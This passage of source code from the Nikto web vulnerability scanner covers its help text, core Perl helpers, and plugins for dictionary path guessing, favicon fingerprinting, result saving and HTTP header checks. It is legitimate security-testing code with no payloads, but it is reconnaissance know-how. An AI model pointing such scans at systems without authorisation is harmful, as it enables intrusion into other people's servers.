Disables interactive features -nolookup Disables DNS lookups -nossl Disables the use of SSL -noslash Strip trailing slash from URL (e.g., '/admin/' to '/admin') -no404 Disables nikto attempting to guess a 404 page -Option Over-ride an option in nikto.conf, can be issued multiple times -output+ Write output to this file ('.' for auto-name) -Pause+ Pause between tests (seconds) -Platform+ Platform of target (nix, win, all) -Plugins+ List of plugins to run (default: ALL) -port+ Port to use (default 80) -RSAcert+ Client certificate file -root+ Prepend root value to all requests, format is /directory -Save Save positive responses to this directory ('.' for auto-name) -ssl Force ssl mode on port -Tuning+ Scan tuning: 1 Interesting File / Seen in logs 2 Misconfiguration / Default File 3 Information Disclosure 4 Injection (XSS/Script/HTML) 5 Remote File Retrieval - Inside Web Root 6 Denial of Service 7 Remote File Retrieval - Server Wide 8 Command Execution / Remote Shell 9 SQL Injection 0 File Upload a Authentication Bypass b Software Identification c Remote Source Inclusion d WebService e Administrative Console x Reverse Tuning Options (i.e., include all except specified) -timeout+ Timeout for requests (default 10 seconds) -Userdbs Load only user databases, not the standard databases all Disable standard dbs and load only user dbs tests Disable only db_tests and load udb_tests -useragent Force User-Agent instead of pulling from database -url+ Target host/URL (alias of -host) -useproxy Use the proxy defined in nikto.conf, or argument http://server:port -Version Print plugin and database versions -vhost+ Virtual host (for Host header) -404code Ignore these HTTP codes as negative responses (always). Format is \"302,301\". -404string Ignore this string in response body content as negative response (always). Can be a regular expression. + requires a value\n\n"; exit 0; } ####################################################################### sub init_db { my $dbname = shift; return if $dbname eq ""; my $filename = "$CONFIGFILE{'DBDIR'}/" . $dbname; my (@dbarray, @headers); my $hashref = {}; if ($CLI{'userdbs'} ne 'all') { # Check that the database exists unless (open(IN, "<$filename")) { nprint("+ ERROR: Unable to open database file $dbname: $@."); return $dbarray; } # Now read the header values while () { chomp; s/\#.*$//; if ($_ eq "") { next } unless (@headers) { @headers = parse_csv($_); } else { # contents; so split them up and apply to hash my @contents = parse_csv($_); my $hashref = {}; for (my $i = 0 ; $i <= $#contents ; $i++) { $hashref->{ $headers[$i] } = $contents[$i]; } push(@dbarray, $hashref); } } close(IN); } # And the udb_* file $filename = "$CONFIGFILE{'DBDIR'}/u" . $dbname; if (open(IN, "<$filename")) { while () { chomp; s/\#.*$//; if ($_ eq "") { next; } # contents; so split them up and apply to hash my @contents = parse_csv($_); my $hashref = {}; for (my $i = 0 ; $i <= $#contents ; $i++) { $hashref->{ $headers[$i] } = $contents[$i]; } push(@dbarray, $hashref); } } close(IN); return \@dbarray; } ####################################################################### sub add_vulnerability { my ($mark, $message, $nikto_id, $refs, $method, $uri, $request, $response, $reason) = @_; # Also normalize the response URI so it's consistent when used later if (defined $response && defined $response->{whisker}) { if ( !defined $response->{whisker}->{uri_requested} || $response->{whisker}->{uri_requested} eq "" || $response->{whisker}->{uri_requested} eq ".") { $response->{whisker}->{uri_requested} = "/"; } } $method = "GET" unless (defined $method); # Grammar matters if ($message !~ /\.$/) { $message .= "."; } # check to see if we've alerted already (can be from content search, etc.) foreach my $r (@RESULTS) { if ( ($uri eq $r->{'uri'}) && ($message eq $r->{'message'}) && ($method eq $r->{'method'}) && (${ $r->{'mark'} }{'ident'} eq $mark->{'ident'}) && (${ $r->{'mark'} }{'port'} eq $mark->{'port'})) { return; } } my $result = ""; if (defined $_[7]) { $result = $_[7]->{'whisker'}->{'data'}; } my $resulthash; %$resulthash = (mark => $mark, message => $message, nikto_id => $nikto_id, refs => $refs, method => $method, uri => $response->{whisker}->{uri_requested} || '/', result => $result, request => $request, response => $response, reason => $reason, ); push(@RESULTS, $resulthash); $mark->{total_vulns}++; if ($refs ne "") { $message .= " See: $refs"; } nprint("+ [$nikto_id] $message", "", ($mark->{'hostname'}, $mark->{'ip'}, $mark->{'displayname'})); # Save it if ($CLI{'saveresults'} ne '') { save_item($resulthash, $message, $request, $response); } # Now report it report_item($mark, $resulthash); } ############################################################################### sub rebuild_request { my ($req, $include_body, $truncate_length) = @_; return '' unless ref($req) eq 'HASH'; # Default to including body for backward compatibility $include_body = 1 unless defined $include_body; my $w = (ref($req->{whisker}) eq 'HASH') ? $req->{whisker} : {}; my $method = $w->{method} || 'GET'; my $uri = defined $w->{uri} ? $w->{uri} : '/'; my $proto = $w->{protocol} || 'HTTP'; my $ver = $w->{version} || '1.1'; my $eol = (defined $w->{http_eol} && $w->{http_eol} ne '') ? $w->{http_eol} : "\r\n"; # Things that are NOT HTTP headers in LW2 request structure my %NOT_HEADERS = map { $_ => 1 } qw( whisker data MAGIC host port ssl max_size method uri protocol version timeout http_eol http_space1 http_space2 retry uri_param_sep uri_prefix uri_postfix include_host_in_uri force_bodysnatch force_open force_close trailing_slurp ignore_duplicate_headers lowercase_incoming_headers normalize_incoming_headers require_newline_after_headers invalid_protocol_return_value ssl_certfile ssl_rsacertfile ssl_save_info ); # Allowlist pattern for header names my $is_header_name = sub { my ($k) = @_; return 0 if !defined $k; return 0 if $NOT_HEADERS{$k}; # hard stop return ($k =~ /^[A-Za-z][A-Za-z0-9-]*$/) ? 1 : 0; }; # Merge headers: whisker first, then top-level overrides my %h; for my $k (keys %$w) { next unless $is_header_name->($k); next unless defined $w->{$k}; next if ref($w->{$k}); $h{$k} = $w->{$k}; } for my $k (keys %$req) { next unless $is_header_name->($k); next unless defined $req->{$k}; next if ref($req->{$k}); $h{$k} = $req->{$k}; } # Determine Host header value (prefer explicit Host; else whisker 'host') my $host_val = ''; if (exists $h{Host} && defined $h{Host}) { $host_val = $h{Host}; } elsif (defined $w->{host} && $w->{host} ne '') { $host_val = $w->{host}; } # Build request line my $out = "$method $uri $proto/$ver$eol"; # Host header must be immediately after request line if ($host_val ne '') { $host_val =~ s/\r|\n/ /g; $out .= "Host: $host_val$eol"; delete $h{Host}; # avoid duplicate } # Other headers: stable order (case-insensitive) my @keys = sort { lc($a) cmp lc($b) } keys %h; for my $k (@keys) { my $v = $h{$k}; next unless defined $v; $v =~ s/\r|\n/ /g; $out .= "$k: $v$eol"; } $out .= $eol; # Include body if flag is set if ($include_body && defined $w->{data} && length($w->{data})) { $out .= $w->{data}; } # Truncate if length specified if (defined $truncate_length && $truncate_length > 0 && length($out) > $truncate_length) { my $original_length = length($out); $out = substr($out, 0, $truncate_length); $out .= "\n[Request truncated - original size: $original_length bytes]"; } return $out; } ############################################################################### sub rebuild_response { my ($resp, $include_body, $truncate_length) = @_; return '' unless ref($resp) eq 'HASH'; # Default to including body for backward compatibility $include_body = 1 unless defined $include_body; my $w = (ref($resp->{whisker}) eq 'HASH') ? $resp->{whisker} : {}; my $proto = $w->{protocol} || 'HTTP'; my $ver = $w->{version} || '1.1'; my $code = defined $w->{code} ? $w->{code} : '200'; my $msg = defined $w->{message} ? $w->{message} : 'OK'; my $eol = (defined $w->{http_eol} && $w->{http_eol} ne '') ? $w->{http_eol} : "\r\n"; # Build status line my $out = "$proto/$ver $code $msg$eol"; # Use header_order from whisker hash to maintain original header order if (defined $w->{header_order} && ref($w->{header_order}) eq 'ARRAY') { my %header_output; # Track which header values we've already output foreach my $header_name (@{ $w->{header_order} }) { next if ($header_name eq '' || $header_name eq 'whisker'); next unless defined $resp->{$header_name}; # Handle multiple values for the same header (array reference) if (ref($resp->{$header_name}) eq 'ARRAY') { my $value_idx = $header_output{$header_name} || 0; # Output one value per header_order entry to maintain order if ($value_idx < @{ $resp->{$header_name} }) { my $value = $resp->{$header_name}->[$value_idx]; if (defined $value) { $value =~ s/\r|\n/ /g; $out .= "$header_name: $value$eol"; $header_output{$header_name} = $value_idx + 1; } } } else { # Single value header - only output once even if in header_order multiple times unless ($header_output{$header_name}) { my $value = $resp->{$header_name}; $value =~ s/\r|\n/ /g; $out .= "$header_name: $value$eol"; $header_output{$header_name} = 1; } } } } $out .= $eol; # Include body if flag is set if ($include_body && defined $w->{data} && length($w->{data})) { $out .= $w->{data}; } # Truncate if length specified if (defined $truncate_length && $truncate_length > 0 && length($out) > $truncate_length) { my $original_length = length($out); $out = substr($out, 0, $truncate_length); $out .= "\n[Response truncated - original size: $original_length bytes]"; } return $out; } ############################################################################### sub list_plugins { # Just do a load_plugins, then loop through the array and print out name, # description and copyright load_plugins(); foreach my $plugin (@PLUGINS) { nprint("Plugin: $plugin->{'name'}"); nprint(" $plugin->{'full_name'} - $plugin->{'description'}"); nprint(" Written by $plugin->{'author'}, Copyright (C) $plugin->{'copyright'}"); if (defined $plugin->{'options'}) { nprint(" Options:"); while (my ($option, $description) = each(%{ $plugin->{'options'} })) { nprint(" $option: $description"); } } nprint("\n"); } # Plugin macros nprint("Defined plugin macros:"); foreach my $macro (keys %CONFIGFILE) { if ($macro =~ /^@@/) { nprint(" $macro = \"" . $CONFIGFILE{$macro} . "\""); if ($CONFIGFILE{$macro} =~ /@@/) { nprint(" (expanded) = \"" . expand_pluginlist($CONFIGFILE{$macro}, 0) . "\""); } } } exit 0; } ############################################################################### # This is overly complicated and jumps a lot between scalars and arrays. The REs are # probably dodgy, but it works! W00! sub expand_pluginlist { my ($pluginlist, $parent) = @_; my @macros; foreach my $config (keys %CONFIGFILE) { if ($config =~ /^@@/) { push(@macros, $config); } } # Now loop through each member of the list and expand it my $count = 0; my $npluginlist = $pluginlist; do { $count++; my @raw = split(/;/, $npluginlist); # cooked contains the processed list my @cooked; foreach my $entry (@raw) { # Is it +; if so remap to @@DEFAULT if ($entry eq "+") { $entry = '@@DEFAULT'; } # result contains the processed entry my $result = $original = $entry; # Is it a macro if ($entry =~ /^-?@@/) { # break up into components $prefix = ($entry =~ /^-/) ? "-" : ""; $name = $suffix = $entry; $name =~ s/(^-?)(@@[[:alpha:]]+)(\(?.*\)?$)/$2/; $suffix =~ s/(.*)(\(.*\))/$2/; if ($suffix eq $entry) { $suffix = ""; } foreach my $macro (@macros) { if ($entry =~ /-?$macro/) { # It's a macro, so replace the contents with the macro # Add prefix and suffix to each member of the macro my @temp; foreach my $child (split(/;/, $CONFIGFILE{$macro})) { push(@temp, "$prefix$child$suffix"); } $result = join(';', @temp); # stop an infinite loop last; } } } if ($result =~ /^-?@@/ && $result eq $original) { # macro not found or is itself - ignore $result = ""; } if ($count > 100) { # check for recurstion nprint("ERROR: Recursion found whilst expanding macros"); $result = ""; last; } push(@cooked, $result); } $npluginlist = join(';', @cooked); } while ($npluginlist =~ /@@/ && $count <= 100); #use re 'debug'; # Now we've expanded out macros, deal with duplicates and - my @raw = split(/;/, $npluginlist); # hash so we don't have to mess with duplicates my %cooked; foreach my $plugin (@raw) { # break out components my $minus; my $name = my $suffix = $plugin; $minus = (substr($plugin, 0, 1) eq '-'); $name =~ s/(^-?)([^\(]+)(\(?.*\)?$)/$2/; $suffix =~ s/(.*)(\(.*\))/$2/; if ($suffix eq $plugin) { $suffix = ""; } if ($minus) { # it's a minus - remove any previous entry if (exists $cooked{$name}) { delete $cooked{$name}; } } else { # else add it with the parameters as the value of the hash $cooked{$name} = $suffix; } } # Now rejoin into one happy whole my $output; foreach my $plugin (keys %cooked) { $output .= "$plugin" . $cooked{$plugin} . ";"; } # remove the last ; $output =~ s/;$//g; return $output; } ############################################################################### # Check a regex for validation & fix. If mode=1, return a flag which indicates # whether the regex was changed sub validate_and_fix_regex { my ($regex, $mode) = @_; my $fixed = 0; eval { qr/$regex/ }; if ($@) { $fixed = 1; $regex = rquote($regex); } return $mode ? ($regex, $fixed) : $regex; } ############################################################################### # Process captured groups in message strings # Replaces $1, $2, etc. with captured group values sub process_captured_groups { my ($message, $captures) = @_; # Quick exit if no message or captures return $message unless $message && $captures && @$captures; # Quick exit if message has no placeholder patterns return $message unless $message =~ /\$\d+/; # Replace $1, $2, etc. with captured values for my $i (1 .. @$captures) { my $value = $captures->[ $i - 1 ]; # Replace with captured value or empty string if undefined $value = '' unless defined $value; $message =~ s/\$$i(?!\d)/$value/g; } return $message; } ############################################################################### sub rquote { my $string = $_[0] || return; $string =~ s/([^A-Za-z_0-9 "'\\])/\\$1/g; return $string; } ############################################################################### sub gmt_offset { my @t = localtime(time); return (timegm(@t) - timelocal(@t)) / 3600; } ############################################################################### sub expand_range { local $" = '..'; my (@range); sort { $a <=> $b } map { map { ((@range = split /-/) == 2) ? eval('map {$_} ' . "@range") : $_ } split /\s/ } @_; } ############################################################################### sub check_ipv6 { nprint("Performing IPv6 connectivity tests:"); # Perform a series of tests and: exit 1 or 0 # Does the version of Socket even support IPv6? if (!$LW2::LW2_CAN_IPv6) { nprint( "+ ERROR: This version of Socket ($Socket::VERSION) has insufficient (or no) IPv6 support" ); exit 1; } nprint("+ This version of Socket ($Socket::VERSION) does support IPv6"); # Ensure switches are in a known state $CLI{'ipv6'} = 1; $CLI{'ipv4'} = 0; if ($CONFIGFILE{'CHECK6HOST'} eq "") { $CONFIGFILE{'CHECK6HOST'} = 'ipv6.google.com'; $CONFIGFILE{'CHECK6PORT'} = '443'; } # Try to resolve a known IPv6 hostname my ($name, $ip, $displayname) = resolve($CONFIGFILE{'CHECK6HOST'}); if (!$ip) { nprint("- DNS resolution of '$CONFIGFILE{'CHECK6HOST'}' using AF_INET6 failed"); nprint( "\t(Perhaps no DNS server set or server is incapable of resolving an IPv6 address for $CONFIGFILE{'CHECK6HOST'})" ); exit 1; } nprint("+ Successful DNS resolution of '$CONFIGFILE{'CHECK6HOST'}': $ip"); # Try to connect to the host my $res = LW2::utils_port_open($CONFIGFILE{'CHECK6HOST'}, $CONFIGFILE{'CHECK6PORT'}); if (!$res) { nprint( "+ ERROR: TCP connection to '$CONFIGFILE{'CHECK6HOST'}:$CONFIGFILE{'CHECK6PORT'}' using AF_INET6 failed" ); nprint("\t(Likely either no IPv6 connectivity or firewall blocking)"); exit 1; } nprint("+ Successful TCP connection to '$CONFIGFILE{'CHECK6HOST'}:$CONFIGFILE{'CHECK6PORT'}'"); nprint("----> All tests successful"); exit 0; } ############################################################################### sub nikto_core { return; } # trap for this plugin being called to run. lame. ############################################################################### 1; ================================================ FILE: program/plugins/nikto_dictionary_attack.plugin ================================================ ############################################################################### # SPDX-License-Identifier: GPL-3.0-only # PURPOSE: Run dictionary tests ############################################################################### sub nikto_dictionary_attack_init { my $id = { name => "dictionary", full_name => "Dictionary attack", author => "Tautology", description => "Attempts to dictionary attack commonly known directories/files", hooks => { recon => { method => \&nikto_dictionary_attack, weight => 20, }, }, options => { dictionary => "Dictionary of paths to look for.", method => "Method to use to enumerate.", }, copyright => "2009 Chris Sullo" }; return $id; } sub nikto_dictionary_attack { my ($mark, $parameters) = @_; return if $mark->{'terminate'}; my $method = "HEAD"; my $dictfile = ""; if ( defined $parameters && defined $parameters->{'dictionary'}) { $dictfile = $parameters->{'dictionary'}; } elsif (defined($CLI{'mutate-options'})) { $dictfile = $CLI{'mutate-options'}; } else { nprint("- No dictionary file given in plugin options, skipping check", "v", "dictionary"); return; } if ( defined $parameters && defined $parameters->{'method'}) { $method = $parameters->{'method'}; } my $ctr = 0; if (!defined $dictfile) { nprint("- No dictionary file given in mutate-options, skipping check."); return; } # Record the host for future use my $host = $mark->{'hostname'}; nprint("- Guessing directories/files (using dictionary $dictfile).", "v", "dictionary"); unless (open(IN, "<$dictfile")) { nprint("+ ERROR: Unable to open dictionary file $dictfile: $!."); } # Now attempt on each entry while () { return if $mark->{'terminate'}; chomp; s/\#.*$//; next if ($_ eq ""); my $dir = $_; if (($ctr % 100) == 0) { nprint("- File enumeration guess $ctr ($dir): /$dir/", "v", "dictionary"); } my ($code, $content, $error, $request, $response) = nfetch($mark, "/$dir", "${method}", "", "", "", "dictionary_attack"); foreach my $found (split(/ /, $VARIABLES{"\@HTTPFOUND"})) { if ($code eq $found) { add_vulnerability($mark, "/$dir: Found a file", 999969, "", "HEAD", "/$dir", $request, $response); } } $ctr++; } close(IN); } # End sub 1; ================================================ FILE: program/plugins/nikto_favicon.plugin ================================================ ############################################################################### # SPDX-License-Identifier: GPL-3.0-only # PURPOSE: Get a favicon file & MD5 fingerprint ############################################################################### use vars qw/$FAVICONDB %LINKICONS/; sub nikto_favicon_init { my $id = { name => "favicon", full_name => "Favicon", author => "Sullo", description => "Checks the web server's favicon against known favicons.", copyright => "2008 Chris Sullo", hooks => { scan => { method => \&nikto_favicon, }, start => { method => \&nikto_favicon_load, } }, }; return $id; } sub nikto_favicon_load { $FAVICONDB = init_db("db_favicon"); } sub nikto_favicon { my ($mark) = @_; return if $mark->{'terminate'}; # Check /favicon.ico foreach my $ext (split(/,/, "ico,gif,png")) { foreach my $path (split /,/, ",/favicons") { my ($res, $content, $error, $request, $response) = nfetch($mark, "$path/favicon.$ext", "GET", "", "", "", "favicon"); if (($res eq "200") && ($content ne "")) { my $hash = LW2::md5($content); $hash =~ s/^.*://; nprint("Got $path/favicon.$ext hash:$hash", "d"); favicon_matchhash($mark, $hash, $mark->{'root'} . "$path/favicon.$ext", $request, $response); } } } # Check for a favicon ($res, $content, $error, $request, $response) = nfetch($mark, "/", "GET", "", "", "", "favicon"); if ($content =~ /link\s[^<]+icon+[^>]+\.(ico|png|gif)/i) { my %tags; $tags{'link'} = 1; LW2::html_find_tags(\$content, \&favicon_checkhash, '', '', \%tags); foreach my $icon (keys %LINKICONS) { ($res, $content, $error, $request, $response) = nfetch($mark, $icon, "GET", "", "", "", "favicon"); if (($res eq "200") && ($content ne "")) { my $hash = LW2::md5($content); $hash =~ s/^.*://; nprint("Got $icon hash:$hash", "d"); favicon_matchhash($mark, $hash, $icon, $request, $response); } } } } sub favicon_checkhash { my ($tag, $elements) = @_; while ((my ($e, $v)) = each(%{$elements})) { if ($e ne 'href') { next; } if ($v =~ /\.(ico|png|gif)$/) { my @url = LW2::uri_split($v); $LINKICONS{ $url[0] } = 1; } } return; } sub favicon_matchhash { my ($mark, $hash, $icon, $request, $response) = @_; return if (($hash eq "") || ($icon eq "")); foreach my $item (@$FAVICONDB) { if ($item->{'md5hash'} eq $hash) { add_vulnerability($mark, "$icon: identifies this app/server as: $item->{'description'}", $item->{'nikto_id'}, "https://en.wikipedia.org/wiki/Favicon", "GET", $icon, $request, $response ); } } } 1; ================================================ FILE: program/plugins/nikto_fileops.plugin ================================================ ############################################################################### # SPDX-License-Identifier: GPL-3.0-only # PURPOSE: Various file operations ############################################################################### sub nikto_fileops_init { my $id = { name => "fileops", full_name => "File Operations", author => "Sullo", description => "Saves results to a text file.", copyright => "2012 Chris Sullo", }; return $id; } ############################################################################### # save a result to text file sub save_item { require JSON::PP; my ($resulthash, $message, $request, $response) = @_; return if $resulthash->{'mark'}->{'save_prefix'} eq ''; my $fn = $resulthash->{'mark'}->{'save_dir'} . "/" . $resulthash->{'mark'}->{'save_prefix'} . $resulthash->{'nikto_id'} . ".txt"; my $json_request = JSON::PP->new->utf8(1)->allow_nonref(1)->encode($request); my $json_response = JSON::PP->new->utf8(1)->allow_nonref(1)->encode($response); my $cookies_written = 0; open(SAVEFILE, ">>$fn") || die print "ERROR opening savefile '$fn': $@\n"; print SAVEFILE $VARIABLES{'DIV'} . "\n"; print SAVEFILE " Information\n"; print SAVEFILE $VARIABLES{'DIV'} . "\n"; print SAVEFILE "Test ID: \t" . $resulthash->{'nikto_id'} . "\n"; print SAVEFILE "References: \t" . $resulthash->{'refs'} . "\n"; print SAVEFILE "Message: \t" . $message . "\n"; print SAVEFILE "Reason: \t" . $resulthash->{'reason'} . "\n"; print SAVEFILE $VARIABLES{'DIV'} . "\n"; print SAVEFILE " Request\n"; print SAVEFILE $VARIABLES{'DIV'} . "\n"; if ($request->{'whisker'}{'method'} eq '') { print SAVEFILE "Not Applicable\n"; } else { my $request_string = rebuild_request($request); print SAVEFILE $request_string; } print SAVEFILE "\n"; print SAVEFILE $VARIABLES{'DIV'} . "\n"; print SAVEFILE " Response\n"; print SAVEFILE $VARIABLES{'DIV'} . "\n"; if ($response->{'whisker'}{'protocol'} eq '') { print SAVEFILE "Not Applicable\n"; } else { print SAVEFILE rebuild_response($response); } print SAVEFILE $VARIABLES{'DIV'} . "\n"; print SAVEFILE " Data Objects\n"; print SAVEFILE $VARIABLES{'DIV'} . "\n"; if ($request->{'whisker'}{'method'} ne '') { print SAVEFILE "REQUEST:$json_request\n"; } if ($response->{'whisker'}{'protocol'} ne '') { print SAVEFILE "RESPONSE:$json_response\n"; } close(SAVEFILE); } ############################################################################### # get the prefix for all current host's save files sub save_getprefix { my ($mark) = @_; my $prefix = $mark->{'display_name'} . '_' . $mark->{'port'}; $prefix =~ s/,/\-/g; $prefix =~ s/[^a-zA-Z0-9\.\-\_]/_/g; $prefix =~ s/_+/_/g; my $now = date_disp(time()); $now =~ s/\s.*$//; $prefix .= "_" . $now . "_"; return $prefix; } ############################################################################### # Define/create the save directory sub save_createdir { my ($savedir, $mark) = @_; if ($savedir eq '.') { $savedir = 'savedir_' . $mark->{'display_name'} . '_' . $mark->{'port'}; $savedir =~ s/,/\-/g; $savedir =~ s/[^a-zA-Z0-9\.\-\_]/_/g; $savedir =~ s/_+/_/g; my $now = date_disp(time()); $now =~ s/[^0-9-]/-/g; $savedir .= "_" . $now; } elsif (-f $savedir) { nprint("+ ERROR: Directory from -Savedir is a file."); exit 1; } # create? if (!-d $savedir) { mkdir($savedir); if (!-d $savedir) { nprint("+ ERROR: Unable to create -Save directory '$savedir'", "", ($mark->{'hostname'}, $mark->{'ip'}, $mark->{'displayname'})); exit 1; } } return $savedir; } ############################################################################### # Parse input host files sub parse_hostfile { my ($file) = @_; my (@results, $hostdesc); my $nmap = 0; open(IN, $file) || die print STDERR "+ ERROR: Cannot open '$file':$@\n"; while () { my $found = 0; # Check whether this is a greppable nmap file chomp; $nmap = 1 if (/^# Nmap/); s/\#.*$//; if ($_ eq "") { next; } # Parse for nmap files if ($nmap) { if (($_ !~ /Host/) || ($_ !~ /Ports/) || ($_ !~ /open/) || ($_ !~ /(?:http|ssl)/i)) { next; } # parse out the line my @fields = split("\t", $_); # Get the host name $fields[0] =~ /Host:\s+($LW2::IPv4_re|$LW2::IPv6_re_inc_zoneid)\s+\(([^\)]+)?\)/; $hostdesc = ($2 ne "") ? $2 : $1; # Parse the ports list from: # Host: 1.0.0.0 () Ports: 80/open/tcp//http///, 8000/open/tcp//http-alt/// $fields[1] =~ s/^Ports: //; my @ports = parse_csv($fields[1]); foreach my $nmp (@ports) { if (($nmp !~ /(?:80|443)?\/open\/tcp/) || ($nmp !~ /(?:http|ssl)/i)) { nprint("\tNon web port identified: $hostdesc:$nmp", "d", ($hostdesc)); next; } $nmp =~ /^(?:\s+)?(\d+)\//; nprint("+ nmap Input Queued: $hostdesc:$1"); push(@results, $hostdesc . "_" . $1); } } else { # just add it to the list push(@results, $_); } } close(IN); return (@results); } 1; ================================================ FILE: program/plugins/nikto_headers.plugin ================================================ ############################################################################### # SPDX-License-Identifier: GPL-3.0-only # PURPOSE: General HTTP headers checks ############################################################################### use vars qw/$HEADERSDB/; sub nikto_headers_init { my $id = { name => "headers", full_name => "HTTP Headers", author => "Sullo", description => "Performs various checks against the headers returned from an HTTP request.", hooks => { scan => { method => \&nikto_headers, }, postfetch => { method => \&nikto_headers_postfetch, }, start => { method => \&nikto_headers_load, }, }, copyright => "2008 Chris Sullo" }; # some global variables use vars qw/%ETAGS %BREACH %HEADERS_FOUND/; return $id; } sub nikto_headers_load { $HEADERSDB = init_db("db_headers_common"); } sub nikto_headers_postfetch { my ($mark, $parameters, $request, $response) = @_; return if $mark->{'terminate'}; # Skip OPTIONS return if $request->{'whisker'}{'method'} eq "OPTIONS"; # These headers are very common but unlikely to be useful, so we can quickly skip them my %skip_headers = map { $_ => 1 } qw( whisker date content-type content-length connection x-mod-pagespeed x-page-speed set-cookie ); # look for internal IPs foreach my $header (keys %$response) { next if exists $skip_headers{$header} || exists $HEADERS_FOUND{ $mark->{hostname} }{ $mark->{port} }{$header}; # Check for known headers nikto_headers_check($mark, $response, $header, 999986, $request); my $header_value = $response->{$header}; # Do not check the Location header's path target for internal IPs if ($header eq 'location') { if ($header_value =~ /^\//) { next; } else { my @uri_parts = LW2::uri_split($header_value); # reconstruct without path/query/fragment $header_value = $uri_parts[2]; } # Is it what we scanned? if (defined $header_value && ( $header_value eq $mark->{'ip'} || (defined $mark->{'vhost'} && $header_value eq $mark->{'vhost'}) || (defined $mark->{'hostname'} && $header_value eq $mark->{'hostname'}) || (defined $mark->{'displayname'} && $header_value eq $mark->{'displayname'})) ) { next; } } foreach my $ip (get_ips($header_value)) { my ($valid, $internal, $loopback) = is_ip($ip); if ($valid && !$loopback) { if ($ip ne $mark->{'ip'}) { # is it an internal, or just different? my $msg; $msg .= $request->{'whisker'}{'uri'} . ": "; if ($internal) { $msg .= "RFC-1918 "; } $msg .= "IP address found in the '$header' header. The IP is \"$ip\"."; add_vulnerability( $mark, $msg, 999979, "https://portswigger.net/kb/issues/00600300_private-ip-addresses-disclosed", $request->{'whisker'}->{'method'}, $request->{'whisker'}->{'uri'}, $request, $response ); $HEADERS_FOUND{ $mark->{hostname} }{ $mark->{port} }{$header} = 1; } } } } # look for inode in etag header if ( !defined $ETAGS{ $mark->{hostname} }{ $mark->{port} } && defined $response->{'etag'} && $response->{'etag'} =~ m/-/) { my $etag = $response->{'etag'}; $etag =~ s/"//g; my @fields = split("-", $etag); # Only report ETags which actually leak inodes... if (scalar(@fields) == 3) { my $message = $request->{'whisker'}{'uri'} . ": Server may leak inodes via ETags, header found with file " . $request->{'whisker'}->{'uri'}; # check for numbers that are too large my $ishex = 1; for (my $i = 0 ; $i < 3 ; $i++) { if ((length($fields[$i]) > 14) || ($fields[$i] !~ /^[0-9A-F]+$/i)) { $ishex = 0; } } use bignum; my ($inode, $size, $mtime, $ltime); if ($ishex) { $inode = "0x$fields[0]"; $size = "0x$fields[1]"; $mtime = "0x$fields[2]"; $ltime = substr(sprintf("%s", hex($mtime)), 0, 10); } else { $inode = $fields[0]; $size = $fields[1]; $mtime = $ltime = $fields[2]; } $message .= ($ishex == 1) ? sprintf(", inode: %d, size: %d, mtime: %s", hex($inode), hex($size), scalar(localtime($ltime))) : sprintf(", inode: %s, size: %s, mtime: %s", $inode, $size, $mtime); add_vulnerability($mark, $message, 999984, "CVE-2003-1418", $request->{'whisker'}->{'method'}, $request->{'whisker'}->{'uri'}, $request, $response); $ETAGS{ $mark->{hostname} }{ $mark->{port} } = 1; } } if (defined $response->{'link'} && !$HEADERS_FOUND{ $mark->{hostname} }{ $mark->{port} }{'link'}) { my $values = report_multiheaders($response->{'link'}); add_vulnerability( $mark, $request->{'whisker'}{'uri'} . ": Link header(s) found with value(s): $values.", "000427", "https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Link", $request->{'whisker'}->{'method'}, $request->{'whisker'}->{'uri'}, $request, $response ); $HEADERS_FOUND{ $mark->{hostname} }{ $mark->{port} }{'link'} = 1; } # Look for any uncommon headers foreach my $header (keys %$response) { next if defined $HEADERS_FOUND{ $mark->{'hostname'} }{ $mark->{'port'} }{"uncommon-$header"}; my $found = 0; foreach my $st_header (@$HEADERSDB) { if ($header eq $st_header->{'header'}) { $found = 1; last; } } if ($found == 0) { my $x = $response->{$header}; $x =~ s/\s+.*$//; $mark->{'components'}->{$x} = 1; my $values = report_multiheaders($response->{$header}); $vuln = $request->{'whisker'}{'uri'} . ": Uncommon header(s) '$header' found, with contents: $values."; add_vulnerability($mark, $vuln, 999100, "", $request->{'whisker'}->{'method'}, $request->{'whisker'}->{'uri'}, $request, $response); $HEADERS_FOUND{ $mark->{'hostname'} }{ $mark->{'port'} }{"uncommon-$header"} = 1; } } # Strict-Transport-Security if ( $mark->{'ssl'} && !$HEADERS_FOUND{ $mark->{hostname} }{ $mark->{port} }{'strict-transport-security'} && defined $response) { if ($response->{'strict-transport-security'} =~ /max-age="?0"?/i) { add_vulnerability( $mark, $request->{'whisker'}{'uri'} . ": The site uses TLS and the Strict-Transport-Security HTTP header is set with max-age=0, which effectively disables it.", 999971, "https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Strict-Transport-Security", $request->{'whisker'}->{'method'}, $request->{'whisker'}->{'uri'}, $request, $response ); } $HEADERS_FOUND{ $mark->{hostname} }{ $mark->{port} }{'strict-transport-security'} = 1; } # Alt-Svc (HTTP/3) if (!$HEADERS_FOUND{ $mark->{hostname} }{ $mark->{port} }{'alt-svc'} && defined $response->{'whisker'}->{'code'}) { if (defined $response->{'alt-svc'}) { my ($protocol, $msg); $response->{'alt-svc'} =~ /.*(h[23])="([^"]+)"/; my $endpoint = $2; if ($1 eq "h2") { $protocol = "HTTP/2 over TLS"; } elsif ($1 eq "h2c") { $protocol = "HTTP/2 over TCP"; $msg = " Unencrypted."; } elsif ($1 eq "h3") { $protocol = "HTTP/3"; $msg = " Nikto cannot test HTTP/3 over QUIC."; } else { $protocol = $1; } add_vulnerability( $mark, $request->{'whisker'}{'uri'} . ": An alt-svc header was found which is advertising $protocol. The endpoint is: '$endpoint'.$msg", "011799", "https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/alt-svc", $request->{'whisker'}->{'method'}, $request->{'whisker'}->{'uri'}, $request, $response ); $HEADERS_FOUND{ $mark->{hostname} }{ $mark->{port} }{'alt-svc'} = 1; } } # x-clacks-overhead if (!$HEADERS_FOUND{ $mark->{hostname} }{ $mark->{port} }{'x-clacks-overhead'} && defined $response->{'whisker'}->{'code'}) { if (defined $response->{'x-clacks-overhead'}) { add_vulnerability( $mark, $request->{'whisker'}{'uri'} . ": There appears to be Clacks Overhead on the server and the message is: $response->{'x-clacks-overhead'}", 999104, "https://xclacksoverhead.org/home/about", $request->{'whisker'}->{'method'}, $request->{'whisker'}->{'uri'}, $request, $response ); $HEADERS_FOUND{ $mark->{hostname} }{ $mark->{port} }{'x-clacks-overhead'} = 1; } } # CSP Report URLs if (!$HEADERS_FOUND{ $mark->{hostname} }{ $mark->{port} }{'report-uri'} && defined 